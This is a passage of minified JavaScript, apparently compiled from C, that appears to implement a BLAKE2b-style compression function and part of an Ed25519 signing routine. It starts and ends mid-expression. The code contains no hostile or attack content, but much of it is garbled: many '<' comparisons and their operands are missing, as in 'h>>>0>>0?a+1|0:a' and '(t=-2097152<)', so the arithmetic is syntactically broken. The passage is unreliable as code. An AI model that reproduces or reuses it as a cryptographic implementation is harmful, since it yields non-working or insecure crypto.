y)|0,a=Q+((h=g+rt|0)>>>0>>0?a+1|0:a)|0,Q=h=h+l|0,H=a=h>>>0>>0?a+1|0:a,l=a,a=T+Et|0,a=((L=V)>>>0>(V=F+V|0)>>>0?a+1|0:a)+l|0,Et=a=(h=h+V|0)>>>0>>0?a+1|0:a,V=ft(h^m,a^w,32),a=(K=y)+X|0,w=ft((l=P+V|0)^F,(a=l>>>0>>0?a+1|0:a)^T,40),L=a,a=Bt+(q=y)|0,a=Et+((F=at)>>>0>(at=w+at|0)>>>0?a+1|0:a)|0,a=(at=h+at|0)>>>0>>0?a+1|0:a,h=V^at,V=a;Bt=ft(h,a^K,48),a=(Et=y)+L|0,l=a=(h=l+Bt|0)>>>0>>0?a+1|0:a,a=ft(h^w,a^q,1),w=y,K=a,q=I,I=rt,L=It,It=ft(E^Q,H^Z,48),a=(E=y)+b|0,b=I,v=a=(rt=v+It|0)>>>0>>0?a+1|0:a,I=ft(g^(Q=rt),a^k,1),a=(k=y)+L|0,a=_+(I>>>0>(rt=b+I|0)>>>0?a+1|0:a)|0,g=a=(rt=d+rt|0)>>>0>>0?a+1|0:a,p=ft(p^rt,a^N,32),a=(a=C)+(C=y)|0,_=d=p+q|0,b=a=d>>>0

>>0?a+1|0:a,d=ft(d^I,a^k,40),a=(k=y)+Qt|0,a=(d>>>0>(ot=d+ot|0)>>>0?a+1|0:a)+g|0,g=a=(g=ot)>>>0>(ot=rt+ot|0)>>>0?a+1|0:a,p=ft(p^ot,a^C,48),a=(I=y)+b|0,C=rt=p+_|0,Qt=a=rt>>>0

>>0?a+1|0:a,_=e,b=z,a=U+O|0,rt=a=(e=m+M|0)>>>0>>0?a+1|0:a,z=ft(e^u,a^D,1),a=(m=y)+b|0,a=S+((u=_+z|0)>>>0>>0?a+1|0:a)|0,f=ft((u=u+B|0)^f,(a=u>>>0>>0?a+1|0:a)^G,32),_=a,S=st,st=z,a=(B=y)+v|0,v=m,m=a=(z=f+Q|0)>>>0>>0?a+1|0:a,st=ft(z^st,v^a,40),a=(Q=y)+Ct|0,a=((Ct=S+st|0)>>>0>>0?a+1|0:a)+_|0,_=Ct,u=f^(Ct=u+Ct|0),f=a=_>>>0>Ct>>>0?a+1|0:a,a=ft(u,a^B,48),U=u=y,B=a,v=j,_=At,j=ft(P^R,X^tt,1),b=a=y,a=a+bt|0,a=W+((j=(S=j)+gt|0)>>>0>>0?a+1|0:a)|0,gt=a=(j=x+j|0)>>>0>>0?a+1|0:a,At=ft(j^It,a^E,32),a=(x=y)+rt|0,rt=e=At+e|0,It=ft(e^S,(E=e>>>0>>0?a+1|0:a)^b,40),a=(a=_)+(_=y)|0,a=gt+((e=It+v|0)>>>0>>0?a+1|0:a)|0,gt=e=e+j|0,bt=a=e>>>0>>0?a+1|0:a,j=a,a=w+_t|0,a=((S=it)>>>0>(it=K+it|0)>>>0?a+1|0:a)+j|0,_t=a=(j=e+it|0)>>>0>>0?a+1|0:a,it=ft(B^j,a^u,32),a=(S=y)+Qt|0,u=e=it+C|0,e=ft(e^K,(v=w)^(w=e>>>0>>0?a+1|0:a),40),a=kt+(b=y)|0,kt=e,a=_t+((e=ht+e|0)>>>0>>0?a+1|0:a)|0,a=(e=e+j|0)>>>0>>0?a+1|0:a,_t=e,M=(c[t+8|0]|c[t+9|0]<<8|c[t+10|0]<<16|c[t+11|0]<<24)^e,v=a,D=a^(c[t+12|0]|c[t+13|0]<<8|c[t+14|0]<<16|c[t+15|0]<<24),j=ft(At^gt,x^bt,48),a=(gt=y)+E|0,E=e=j+rt|0,bt=a=e>>>0>>0?a+1|0:a,At=lt,a=m+U|0,lt=a=(e=B+z|0)>>>0>>0?a+1|0:a,st=ft(e^st,a^Q,1),a=(B=y)+dt|0,a=((At=st+At|0)>>>0>>0?a+1|0:a)+g|0,At=a=(dt=At+ot|0)>>>0>>0?a+1|0:a,rt=ft(dt^Bt,a^Et,32),a=(z=y)+bt|0,ot=a=(ht=rt+E|0)>>>0>>0?a+1|0:a,Bt=rt,rt=ft(st^ht,a^B,40),a=(g=y)+vt|0,a=(rt>>>0>(st=rt+pt|0)>>>0?a+1|0:a)+At|0,m=z,z=a=(dt=st+dt|0)>>>0>>0?a+1|0:a,st=ft(Bt^(pt=dt),m^a,48),a=(B=y)+ot|0,a=(At=st+ht|0)>>>0>>0?a+1|0:a,ht=At,At^=M,s[t+8|0]=At,s[t+9|0]=At>>>8,s[t+10|0]=At>>>16,s[t+11|0]=At>>>24,ot=a,a^=D,s[t+12|0]=a,s[t+13|0]=a>>>8,s[t+14|0]=a>>>16,s[t+15|0]=a>>>24,dt=e,At=lt,e=j,j=ft(d^C,k^Qt,1),a=(vt=y)+A|0,a=(j>>>0>(lt=j+r|0)>>>0?a+1|0:a)+V|0,at=a=(C=lt)>>>0>(lt=at+lt|0)>>>0?a+1|0:a,e=ft(e^lt,a^gt,32),a=(a=At)+(At=y)|0,gt=a=(dt=e+dt|0)>>>0>>0?a+1|0:a,Bt=e,dt=ft(j^(V=dt),a^vt,40),a=(d=y)+n|0,a=at+((e=dt+mt|0)>>>0

>>0?a+1|0:a)|0,a=(e=e+lt|0)>>>0>>0?a+1|0:a,at=e,e^=Bt,Bt=a,lt=ft(e,a^At,48),a=(C=y)+gt|0,V=e=lt+V|0,gt=e>>>0>>0?a+1|0:a,It=e=ft(E^It,_^bt,1),vt=a=y,a=a+Y|0,a=f+((e=e+ct|0)>>>0>>0?a+1|0:a)|0,Y=a=(j=e+Ct|0)>>>0>>0?a+1|0:a,e=(At=ft(p^j,a^I,32))+h|0,a=(h=y)+l|0,Ct=e,e=(ct=ft(f=e^It,(It=e>>>0>>0?a+1|0:a)^vt,40))+J|0,a=(J=y)+ut|0,a=Y+(e>>>0>>0?a+1|0:a)|0,a=(Y=e+j|0)>>>0>>0?a+1|0:a,j=Y^St^V,s[0|(e=t)]=j,s[e+1|0]=j>>>8,s[e+2|0]=j>>>16,s[e+3|0]=j>>>24,j=a^i^gt,s[e+4|0]=j,s[e+5|0]=j>>>8,s[e+6|0]=j>>>16,s[e+7|0]=j>>>24,j=(At=ft(Y^At,a^h,48))+Ct|0,a=(Ct=y)+It|0,a=(It=j>>>0>>0?a+1|0:a)^(c[e+20|0]|c[e+21|0]<<8|c[e+22|0]<<16|c[e+23|0]<<24)^Bt,Y=(c[e+16|0]|c[e+17|0]<<8|c[e+18|0]<<16|c[e+19|0]<<24)^at^j,s[e+16|0]=Y,s[e+17|0]=Y>>>8,s[e+18|0]=Y>>>16,s[e+19|0]=Y>>>24,s[e+20|0]=a,s[e+21|0]=a>>>8,s[e+22|0]=a>>>16,s[e+23|0]=a>>>24,e=ft(it^_t,v^S,48),Y=y,at=c[t+36|0]|c[t+37|0]<<8|c[t+38|0]<<16|c[t+39|0]<<24,a=(c[t+32|0]|c[t+33|0]<<8|c[t+34|0]<<16|c[t+35|0]<<24)^ft(rt^ht,g^ot,1)^e,s[t+32|0]=a,s[t+33|0]=a>>>8,s[t+34|0]=a>>>16,s[t+35|0]=a>>>24,a=y^at^Y,s[t+36|0]=a,s[t+37|0]=a>>>8,s[t+38|0]=a>>>16,s[t+39|0]=a>>>24,a=w+Y|0,a=(at=e+u|0)>>>0>>0?a+1|0:a,rt=(c[(e=t)+28|0]|c[e+29|0]<<8|c[e+30|0]<<16|c[e+31|0]<<24)^z^a,Y=(c[e+24|0]|c[e+25|0]<<8|c[e+26|0]<<16|c[e+27|0]<<24)^pt^at,s[e+24|0]=Y,s[e+25|0]=Y>>>8,s[e+26|0]=Y>>>16,s[e+27|0]=Y>>>24,s[e+28|0]=rt,s[e+29|0]=rt>>>8,s[e+30|0]=rt>>>16,s[e+31|0]=rt>>>24,rt=c[e+44|0]|c[e+45|0]<<8|c[e+46|0]<<16|c[e+47|0]<<24,e=lt^(c[e+40|0]|c[e+41|0]<<8|c[e+42|0]<<16|c[e+43|0]<<24)^ft(j^ct,J^It,1),s[t+40|0]=e,s[t+41|0]=e>>>8,s[t+42|0]=e>>>16,s[t+43|0]=e>>>24,e=C^y^rt,s[t+44|0]=e,s[t+45|0]=e>>>8,s[t+46|0]=e>>>16,s[t+47|0]=e>>>24,j=c[t+60|0]|c[t+61|0]<<8|c[t+62|0]<<16|c[t+63|0]<<24,e=At^(c[t+56|0]|c[t+57|0]<<8|c[t+58|0]<<16|c[t+59|0]<<24)^ft(V^dt,d^gt,1),s[t+56|0]=e,s[t+57|0]=e>>>8,s[t+58|0]=e>>>16,s[t+59|0]=e>>>24,e=Ct^y^j,s[t+60|0]=e,s[t+61|0]=e>>>8,s[t+62|0]=e>>>16,s[t+63|0]=e>>>24,j=c[t+52|0]|c[t+53|0]<<8|c[t+54|0]<<16|c[t+55|0]<<24,e=st^(c[t+48|0]|c[t+49|0]<<8|c[t+50|0]<<16|c[t+51|0]<<24)^ft(at^kt,a^b,1),s[t+48|0]=e,s[t+49|0]=e>>>8,s[t+50|0]=e>>>16,s[t+51|0]=e>>>24,e=B^y^j,s[t+52|0]=e,s[t+53|0]=e>>>8,s[t+54|0]=e>>>16,s[t+55|0]=e>>>24}function m(t,e,r,n,A,i,o){var h,g,u,l,f,p,d,C,m,B,w,v,_,Q,b,k,S,N,M,x,F,P,T,R,U,L,O,Y,K,J,j,z,q,X,V,W,Z,$,tt,et,rt,nt,At,it,ot,st,at,ht,ut=0,lt=0,ft=0,pt=0,dt=0,It=0,yt=0,Ct=0,mt=0,Et=0,wt=0,vt=0,_t=0,Qt=0,kt=0,Dt=0,St=0,Nt=0,Mt=0,xt=0,Ft=0,Pt=0,Tt=0,Rt=0,Ut=0,Gt=0,Ht=0,Lt=0,Ot=0,Yt=0,Kt=0,Jt=0,jt=0,zt=0,qt=0,Xt=0,Vt=0,Wt=0,Zt=0,$t=0,te=0,ee=0,re=0,ne=0,Ae=0,ie=0;return I=u=I-560|0,gt(ft=u+352|0),o&&G(ft,35136,34,0),ct(u+288|0,i,32,0),G(pt=u+352|0,u+320|0,32,0),G(pt,r,n,A),D(pt,Ct=u+224|0),mt=c[(lt=i)+32|0]|c[lt+33|0]<<8|c[lt+34|0]<<16|c[lt+35|0]<<24,wt=c[lt+36|0]|c[lt+37|0]<<8|c[lt+38|0]<<16|c[lt+39|0]<<24,dt=c[lt+40|0]|c[lt+41|0]<<8|c[lt+42|0]<<16|c[lt+43|0]<<24,ut=c[lt+44|0]|c[lt+45|0]<<8|c[lt+46|0]<<16|c[lt+47|0]<<24,ft=c[lt+48|0]|c[lt+49|0]<<8|c[lt+50|0]<<16|c[lt+51|0]<<24,i=c[lt+52|0]|c[lt+53|0]<<8|c[lt+54|0]<<16|c[lt+55|0]<<24,It=c[lt+60|0]|c[lt+61|0]<<8|c[lt+62|0]<<16|c[lt+63|0]<<24,lt=c[lt+56|0]|c[lt+57|0]<<8|c[lt+58|0]<<16|c[lt+59|0]<<24,s[t+56|0]=lt,s[t+57|0]=lt>>>8,s[t+58|0]=lt>>>16,s[t+59|0]=lt>>>24,s[t+60|0]=It,s[t+61|0]=It>>>8,s[t+62|0]=It>>>16,s[t+63|0]=It>>>24,s[t+48|0]=ft,s[t+49|0]=ft>>>8,s[t+50|0]=ft>>>16,s[t+51|0]=ft>>>24,s[t+52|0]=i,s[t+53|0]=i>>>8,s[t+54|0]=i>>>16,s[t+55|0]=i>>>24,s[t+40|0]=dt,s[t+41|0]=dt>>>8,s[t+42|0]=dt>>>16,s[t+43|0]=dt>>>24,s[t+44|0]=ut,s[t+45|0]=ut>>>8,s[t+46|0]=ut>>>16,s[t+47|0]=ut>>>24,s[0|(i=t+32|0)]=mt,s[i+1|0]=mt>>>8,s[i+2|0]=mt>>>16,s[i+3|0]=mt>>>24,s[i+4|0]=wt,s[i+5|0]=wt>>>8,s[i+6|0]=wt>>>16,s[i+7|0]=wt>>>24,E(Ct),H(u,Ct),bt(t,u),gt(pt),o&&G(pt,35136,34,0),G(o=u+352|0,t,64,0),G(o,r,n,A),D(o,yt=u+160|0),E(yt),s[u+288|0]=248&c[u+288|0],s[u+319|0]=63&c[u+319|0]|64,r=c[23+(t=g=u+288|0)|0],dt=Bt(l=c[t+21|0]|c[t+22|0]<<8|r<<16&2031616,0,f=(c[yt+28|0]|c[yt+29|0]<<8|c[yt+30|0]<<16|c[yt+31|0]<<24)>>>7|0,0),ft=y,r=(t=c[yt+27|0])>>>24|0,A=t<<8|(ut=c[yt+23|0]|c[yt+24|0]<<8|c[yt+25|0]<<16|c[yt+26|0]<<24)>>>24,t=Bt(p=2097151&((3&(wt=(t=(n=c[yt+28|0])>>>16|0)|r))<<30|(r=(n<<=16)|A)>>>2),0,d=(o=c[g+23|0]|c[g+24|0]<<8|c[g+25|0]<<16|c[g+26|0]<<24)>>>5&2097151,0),r=y+ft|0,n=t>>>0>(A=t+dt|0)>>>0?r+1|0:r,t=Bt(C=(r=c[yt+23|0])<<16&2031616|c[yt+21|0]|c[yt+22|0]<<8,0,m=(c[g+28|0]|c[g+29|0]<<8|c[g+30|0]<<16|c[g+31|0]<<24)>>>7|0,0),n=y+n|0,ft=r=t+A|0,A=t>>>0>r>>>0?n+1|0:n,n=(t=c[g+27|0])>>>24|0,o=t<<8|o>>>24,t=Bt(B=2097151&((3&(n|=r=(t=c[g+28|0])>>>16|0))<<30|(r=(t<<=16)|o)>>>2),0,w=ut>>>5&2097151,0),r=y+A|0,lt=n=t+ft|0,A=t>>>0>n>>>0?r+1|0:r,ut=Bt(d,0,w,0),ft=y,r=(t=c[g+19|0])>>>24|0,o=t<<8|(St=c[g+15|0]|c[g+16|0]<<8|c[g+17|0]<<16|c[g+18|0]<<24)>>>24,n=r,r=Bt(v=(7&(n|=r=(t=c[g+20|0])>>>16|0))<<29|(r=(t<<=16)|o)>>>3,wt=n>>>3|0,f,0),t=y+ft|0,t=r>>>0>(n=r+ut|0)>>>0?t+1|0:t,o=(r=Bt(l,0,p,0))+n|0,n=y+t|0,r=r>>>0>(ut=o)>>>0?n+1|0:n,n=(t=c[yt+19|0])>>>24|0,ft=t<<8|(Dt=c[yt+15|0]|c[yt+16|0]<<8|c[yt+17|0]<<16|c[yt+18|0]<<24)>>>24,t=Bt(_=(7&(dt=(t=(o=c[yt+20|0])>>>16|0)|n))<<29|(n=(o<<=16)|ft)>>>3,Q=dt>>>3|0,m,0),r=y+r|0,r=t>>>0>(n=t+ut|0)>>>0?r+1|0:r,t=Bt(C,0,B,0),r=y+r|0,mt=r=t>>>0>(Ct=t+n|0)>>>0?r+1|0:r,vt=t=r-((Ct>>>0<4293918720)-1|0)|0,n=(r=t>>>21|0)+A|0,ut=n=(t=(2097151&t)<<11|(dt=Ct- -1048576|0)>>>21)>>>0>(lt=t+lt|0)>>>0?n+1|0:n,Qt=t=n-((lt>>>0<4293918720)-1|0)|0,It=(2097151&t)<<11|(ft=lt- -1048576|0)>>>21,o=t>>>21|0,t=Bt(m,0,w,0),r=y,n=t,t=Bt(f,0,d,0),r=y+r|0,r=t>>>0>(n=n+t|0)>>>0?r+1|0:r,_t=(t=n)+(n=Bt(p,0,B,0))|0,t=y+r|0,t=n>>>0>_t>>>0?t+1|0:t,pt=_t-(r=-2097152&(n=_t- -1048576|0))|0,r=(t-((131071&(A=t-((_t>>>0<4293918720)-1|0)|0))+(r>>>0>_t>>>0)|0)|0)+o|0,K=r=(t=pt+It|0)>>>0>>0?r+1|0:r,J=t,pt=Bt(t,r,470296,0),It=y,r=Bt(f,0,B,0),t=y,o=r,r=Bt(p,0,m,0),t=y+t|0,r=r>>>0>(o=o+r|0)>>>0?t+1|0:t,t=A>>>21|0,A=(2097151&A)<<11|n>>>21,n=t+r|0,Pt=A=(n=A>>>0>(o=A+o|0)>>>0?n+1|0:n)-((o>>>0<4293918720)-1|0)|0,t=o-(r=-2097152&(Ft=o- -1048576|0))|0,j=o=n-((131071&A)+(r>>>0>o>>>0)|0)|0,z=r=lt-(n=-2097152&ft)|0,q=A=ut-((n>>>0>lt>>>0)+Qt|0)|0,X=t,n=Bt(t,o,666643,0),t=y+It|0,t=n>>>0>(o=n+pt|0)>>>0?t+1|0:t,n=Bt(r,A,654183,0),r=y+t|0,Et=A=n+o|0,ft=n>>>0>A>>>0?r+1|0:r,_t=Ct-(t=-2097152&dt)|0,vt=mt-((t>>>0>Ct>>>0)+vt|0)|0,r=Bt(p,0,v,wt),n=y,A=(t=r)+(r=Bt(b=St>>>6&2097151,0,f,0))|0,t=y+n|0,t=r>>>0>A>>>0?t+1|0:t,r=Bt(d,0,C,0),n=y+t|0,n=r>>>0>(A=r+A|0)>>>0?n+1|0:n,t=Bt(l,0,w,0),r=y+n|0,r=t>>>0>(A=t+A|0)>>>0?r+1|0:r,n=Bt(m,0,k=Dt>>>6&2097151,0),t=y+r|0,t=n>>>0>(A=n+A|0)>>>0?t+1|0:t,n=Bt(B,0,_,Q),r=y+t|0,Ct=A=n+A|0,o=n>>>0>A>>>0?r+1|0:r,r=(t=c[g+14|0])>>>24|0,A=t<<8|(mt=c[g+10|0]|c[g+11|0]<<8|c[g+12|0]<<16|c[g+13|0]<<24)>>>24,r=Bt(S=2097151&((1&(r|=t=(n=c[g+15|0])>>>16|0))<<31|(t=(n<<=16)|A)>>>1),0,f,0),t=y,n=r,r=Bt(p,0,b,0),t=y+t|0,t=r>>>0>(n=n+r|0)>>>0?t+1|0:t,A=(r=Bt(w,0,v,wt))+n|0,n=y+t|0,n=r>>>0>A>>>0?n+1|0:n,t=Bt(d,0,_,Q),r=y+n|0,r=t>>>0>(A=t+A|0)>>>0?r+1|0:r,t=Bt(l,0,C,0),r=y+r|0,dt=n=t+A|0,A=t>>>0>n>>>0?r+1|0:r,r=(t=c[yt+14|0])>>>24|0,ut=t<<8|(lt=c[yt+10|0]|c[yt+11|0]<<8|c[yt+12|0]<<16|c[yt+13|0]<<24)>>>24,n=r,r=(t=c[yt+15|0])>>>16|0,r=Bt(N=2097151&((1&(r|=n))<<31|(t=t<<16|ut)>>>1),0,m,0),t=y+A|0,t=r>>>0>(n=r+dt|0)>>>0?t+1|0:t,r=Bt(B,0,k,0),t=y+t|0,ut=t=r>>>0>(dt=r+n|0)>>>0?t+1|0:t,Tt=r=t-((dt>>>0<4293918720)-1|0)|0,n=(t=r>>>21|0)+o|0,It=n=(r=(2097151&r)<<11|(pt=dt- -1048576|0)>>>21)>>>0>(Qt=r+Ct|0)>>>0?n+1|0:n,Mt=r=n-((Qt>>>0<4293918720)-1|0)|0,t=(t=r>>>21|0)+vt|0,V=t=(r=(n=(2097151&r)<<11|(Ct=Qt- -1048576|0)>>>21)+_t|0)>>>0>>0?t+1|0:t,W=r,t=Bt(r,t,-997805,-1),r=y+ft|0,Et=n=t+Et|0,ft=t>>>0>n>>>0?r+1|0:r,_t=(Gt=c[23+(h=u+224|0)|0]|c[h+24|0]<<8|c[h+25|0]<<16|c[h+26|0]<<24)>>>5&2097151,n=Bt(M=(t=c[g+2|0])<<16&2031616|c[0|g]|c[g+1|0]<<8,0,w,0),r=y,A=(t=Bt(C,0,x=(o=c[g+2|0]|c[g+3|0]<<8|c[g+4|0]<<16|c[g+5|0]<<24)>>>5&2097151,0))+n|0,n=y+r|0,n=t>>>0>A>>>0?n+1|0:n,t=Bt(F=(c[g+7|0]|c[g+8|0]<<8|c[g+9|0]<<16|c[g+10|0]<<24)>>>7&2097151,0,k,0),r=y+n|0,r=t>>>0>(A=t+A|0)>>>0?r+1|0:r,n=Bt(N,0,P=mt>>>4&2097151,0),t=y+r|0,mt=A=n+A|0,A=n>>>0>A>>>0?t+1|0:t,o=(r=c[g+6|0])<<8|o>>>24,n=t=r>>>24|0,r=(t=c[g+7|0])>>>16|0,r=Bt(T=2097151&((3&(r|=n))<<30|(t=t<<16|o)>>>2),0,_,Q),t=y+A|0,t=r>>>0>(n=r+mt|0)>>>0?t+1|0:t,A=(r=Bt(b,0,R=(c[yt+7|0]|c[yt+8|0]<<8|c[yt+9|0]<<16|c[yt+10|0]<<24)>>>7&2097151,0))+n|0,n=y+t|0,n=r>>>0>A>>>0?n+1|0:n,r=Bt(S,0,xt=lt>>>4&2097151,0),t=y+n|0,o=r>>>0>(A=r+A|0)>>>0?t+1|0:t,t=(r=c[yt+6|0])>>>24|0,mt=r<<8|(lt=c[yt+2|0]|c[yt+3|0]<<8|c[yt+4|0]<<16|c[yt+5|0]<<24)>>>24,r=t,t=Bt(v,wt,U=2097151&((3&(r|=n=(t=c[yt+7|0])>>>16|0))<<30|(t=t<<16|mt)>>>2),0),r=y+o|0,r=t>>>0>(n=t+A|0)>>>0?r+1|0:r,A=n,n=Bt(L=(t=c[yt+2|0])<<16&2031616|c[0|yt]|c[yt+1|0]<<8,0,d,0),t=y+r|0,t=n>>>0>(A=A+n|0)>>>0?t+1|0:t,r=Bt(l,0,O=lt>>>5&2097151,0),t=y+t|0,t=r>>>0>(n=r+A|0)>>>0?t+1|0:t,r=n,mt=n=n+_t|0,o=r=r>>>0>n>>>0?t+1|0:t,A=c[h+21|0]|c[h+22|0]<<8,t=Bt(C,0,M,0),r=y,lt=(n=t)+(t=Bt(_,Q,x,0))|0,n=y+r|0,n=t>>>0>lt>>>0?n+1|0:n,t=Bt(N,0,F,0),r=y+n|0,r=t>>>0>(lt=t+lt|0)>>>0?r+1|0:r,t=Bt(P,0,xt,0),r=y+r|0,r=t>>>0>(n=t+lt|0)>>>0?r+1|0:r,lt=(t=n)+(n=Bt(k,0,T,0))|0,t=y+r|0,t=n>>>0>lt>>>0?t+1|0:t,r=Bt(b,0,U,0),t=y+t|0,t=r>>>0>(n=r+lt|0)>>>0?t+1|0:t,lt=(r=Bt(S,0,R,0))+n|0,n=y+t|0,n=r>>>0>lt>>>0?n+1|0:n,t=Bt(v,wt,O,0),r=y+n|0,r=t>>>0>(lt=t+lt|0)>>>0?r+1|0:r,t=Bt(l,0,L,0),r=y+r|0,t=t>>>0>(n=t+lt|0)>>>0?r+1|0:r,r=(r=n)>>>0>(n=n+A|0)>>>0?t+1|0:t,A=n,n=(t=c[h+23|0])<<16&2031616,t=r,n=t=n>>>0>(A=A+n|0)>>>0?t+1|0:t,yt=t=t-((A>>>0<4293918720)-1|0)|0,r=(r=t>>>21|0)+o|0,t=(r=(o=mt=(t=(2097151&t)<<11|(lt=A- -1048576|0)>>>21)+mt|0)>>>0>>0?r+1|0:r)+ft|0,t=(ft=o+Et|0)>>>0>>0?t+1|0:t,St=o- -1048576|0,kt=o=r-((o>>>0<4293918720)-1|0)|0,Nt=ft-(r=-2097152&St)|0,Rt=t-((r>>>0>ft>>>0)+o|0)|0,mt=A,ft=n,t=Bt(z,q,470296,0),r=y,n=t,t=Bt(J,K,666643,0),r=y+r|0,r=t>>>0>(n=n+t|0)>>>0?r+1|0:r,A=(t=n)+(n=Bt(W,V,654183,0))|0,t=y+r|0,Dt=A,o=n>>>0>A>>>0?t+1|0:t,r=Bt(_,Q,M,0),t=y,n=r,r=Bt(k,0,x,0),t=y+t|0,t=r>>>0>(n=n+r|0)>>>0?t+1|0:t,A=(r=n)+(n=Bt(F,0,xt,0))|0,r=y+t|0,r=n>>>0>A>>>0?r+1|0:r,t=Bt(P,0,R,0),n=y+r|0,n=t>>>0>(A=t+A|0)>>>0?n+1|0:n,t=Bt(N,0,T,0),r=y+n|0,r=t>>>0>(A=t+A|0)>>>0?r+1|0:r,n=Bt(b,0,O,0),t=y+r|0,t=n>>>0>(A=n+A|0)>>>0?t+1|0:t,r=Bt(S,0,U,0),t=y+t|0,t=r>>>0>(n=r+A|0)>>>0?t+1|0:t,A=(r=n)+(n=Bt(v,wt,L,0))|0,r=y+t|0,_t=A,n=n>>>0>A>>>0?r+1|0:r,r=(t=c[h+19|0])>>>24|0,vt=t<<8|(Et=c[h+15|0]|c[h+16|0]<<8|c[h+17|0]<<16|c[h+18|0]<<24)>>>24,n=((Ut=(t=(A=c[h+20|0])>>>16|0)|r)>>>3|0)+n|0,_t=A=(r=(7&Ut)<<29|(r=(A<<=16)|vt)>>>3)+_t|0,A=r>>>0>A>>>0?n+1|0:n,vt=Et>>>6&2097151,t=Bt(k,0,M,0),r=y,n=t,t=Bt(N,0,x,0),r=y+r|0,r=t>>>0>(n=n+t|0)>>>0?r+1|0:r,Et=(t=n)+(n=Bt(F,0,R,0))|0,t=y+r|0,t=n>>>0>Et>>>0?t+1|0:t,n=Bt(P,0,U,0),r=y+t|0,r=n>>>0>(Et=n+Et|0)>>>0?r+1|0:r,n=Bt(T,0,xt,0),t=y+r|0,t=n>>>0>(Et=n+Et|0)>>>0?t+1|0:t,r=Bt(b,0,L,0),n=y+t|0,n=r>>>0>(Et=r+Et|0)>>>0?n+1|0:n,t=Bt(S,0,O,0),r=y+n|0,t=t>>>0>(Et=t+Et|0)>>>0?r+1|0:r,qt=t=(Lt=Et+vt|0)>>>0>>0?t+1|0:t,ee=t=t-((Lt>>>0<4293918720)-1|0)|0,n=(2097151&t)<<11|(jt=Lt- -1048576|0)>>>21,t=(t>>>21|0)+A|0,Vt=t=n>>>0>(Xt=n+_t|0)>>>0?t+1|0:t,re=t=t-((Xt>>>0<4293918720)-1|0)|0,n=(2097151&t)<<11|(Yt=Xt- -1048576|0)>>>21,t=(t>>>21|0)+o|0,r=(n>>>0>(A=n+Dt|0)>>>0?t+1|0:t)+ft|0,ft=(n=A+mt|0)-(t=-2097152<)|0,yt=t=(r=n>>>0>>0?r+1|0:r)-((t>>>0>n>>>0)+yt|0)|0,ne=t=t-((ft>>>0<4293918720)-1|0)|0,n=(2097151&t)<<11|(Kt=ft- -1048576|0)>>>21,t=(t>>21)+Rt|0,A=t=n>>>0>(o=n+Nt|0)>>>0?t+1|0:t,te=t=t-((o>>>0<4293918720)-1|0)|0,Jt=(2097151&t)<<11|(Dt=o- -1048576|0)>>>21,mt=t>>21,Ut=Qt-(t=-2097152&Ct)|0,Mt=It-((t>>>0>Qt>>>0)+Mt|0)|0,t=Bt(f,0,m,0),zt=r=y,Nt=t,Et=t- -1048576|0,Ot=r=r-((t>>>0<4293918720)-1|0)|0,Z=t=r>>>21|0,t=Bt(Y=(2097151&r)<<11|Et>>>21,t,-683901,-1),r=y+ut|0,r=t>>>0>(n=t+dt|0)>>>0?r+1|0:r,Ct=n-(t=-2097152&pt)|0,lt=r-((t>>>0>n>>>0)+Tt|0)|0,r=Bt(w,0,b,0),t=y,n=r,r=Bt(f,0,P,0),t=y+t|0,t=r>>>0>(n=n+r|0)>>>0?t+1|0:t,r=Bt(p,0,S,0),t=y+t|0,t=r>>>0>(n=r+n|0)>>>0?t+1|0:t,ut=(r=n)+(n=Bt(C,0,v,wt))|0,r=y+t|0,r=n>>>0>ut>>>0?r+1|0:r,t=Bt(d,0,k,0),n=y+r|0,n=t>>>0>(ut=t+ut|0)>>>0?n+1|0:n,t=Bt(l,0,_,Q),r=y+n|0,r=t>>>0>(ut=t+ut|0)>>>0?r+1|0:r,n=Bt(m,0,xt,0),t=y+r|0,t=n>>>0>(ut=n+ut|0)>>>0?t+1|0:t,r=Bt(B,0,N,0),t=y+t|0,dt=n=r+ut|0,ut=r>>>0>n>>>0?t+1|0:t,t=Bt(p,0,P,0),r=y,n=t,t=Bt(f,0,F,0),r=y+r|0,r=t>>>0>(n=n+t|0)>>>0?r+1|0:r,It=(t=Bt(C,0,b,0))+n|0,n=y+r|0,n=t>>>0>It>>>0?n+1|0:n,t=Bt(w,0,S,0),r=y+n|0,r=t>>>0>(It=t+It|0)>>>0?r+1|0:r,n=Bt(v,wt,_,Q),t=y+r|0,t=n>>>0>(It=n+It|0)>>>0?t+1|0:t,r=Bt(d,0,N,0),t=y+t|0,t=r>>>0>(n=r+It|0)>>>0?t+1|0:t,It=(r=n)+(n=Bt(l,0,k,0))|0,r=y+t|0,r=n>>>0>It>>>0?r+1|0:r,t=Bt(m,0,R,0),n=y+r|0,n=t>>>0>(It=t+It|0)>>>0?n+1|0:n,t=Bt(B,0,xt,0),r=y+n|0,vt=r=t>>>0>(_t=t+It|0)>>>0?r+1|0:r,Zt=t=r-((_t>>>0<4293918720)-1|0)|0,r=(2097151&t)<<11|(Qt=_t- -1048576|0)>>>21,t=(t>>>21|0)+ut|0,pt=t=r>>>0>(Tt=r+dt|0)>>>0?t+1|0:t,Ht=t=t-((Tt>>>0<4293918720)-1|0)|0,r=(n=t>>>21|0)+lt|0,Ct=r=(t=(2097151&t)<<11|(It=Tt- -1048576|0)>>>21)>>>0>(Rt=t+Ct|0)>>>0?r+1|0:r,Wt=t=r-((Rt>>>0<4293918720)-1|0)|0,ut=(2097151&t)<<11|(lt=Rt- -1048576|0)>>>21,t=(t>>21)+Mt|0,$=t=(r=ut+Ut|0)>>>0>>0?t+1|0:t,tt=r,t=Bt(r,t,-683901,-1),r=y+mt|0,Jt=n=t+Jt|0,mt=t>>>0>n>>>0?r+1|0:r,t=Bt(p,0,M,0),r=y,n=t,t=Bt(w,0,x,0),r=y+r|0,r=t>>>0>(n=n+t|0)>>>0?r+1|0:r,ut=(t=n)+(n=Bt(_,Q,F,0))|0,t=y+r|0,t=n>>>0>ut>>>0?t+1|0:t,r=Bt(k,0,P,0),n=y+t|0,n=r>>>0>(ut=r+ut|0)>>>0?n+1|0:n,r=Bt(C,0,T,0),t=y+n|0,t=r>>>0>(ut=r+ut|0)>>>0?t+1|0:t,n=Bt(b,0,xt,0),r=y+t|0,r=n>>>0>(ut=n+ut|0)>>>0?r+1|0:r,t=Bt(S,0,N,0),r=y+r|0,r=t>>>0>(n=t+ut|0)>>>0?r+1|0:r,ut=(t=n)+(n=Bt(v,wt,R,0))|0,t=y+r|0,t=n>>>0>ut>>>0?t+1|0:t,r=Bt(d,0,O,0),n=y+t|0,n=r>>>0>(ut=r+ut|0)>>>0?n+1|0:n,r=Bt(l,0,U,0),t=y+n|0,t=r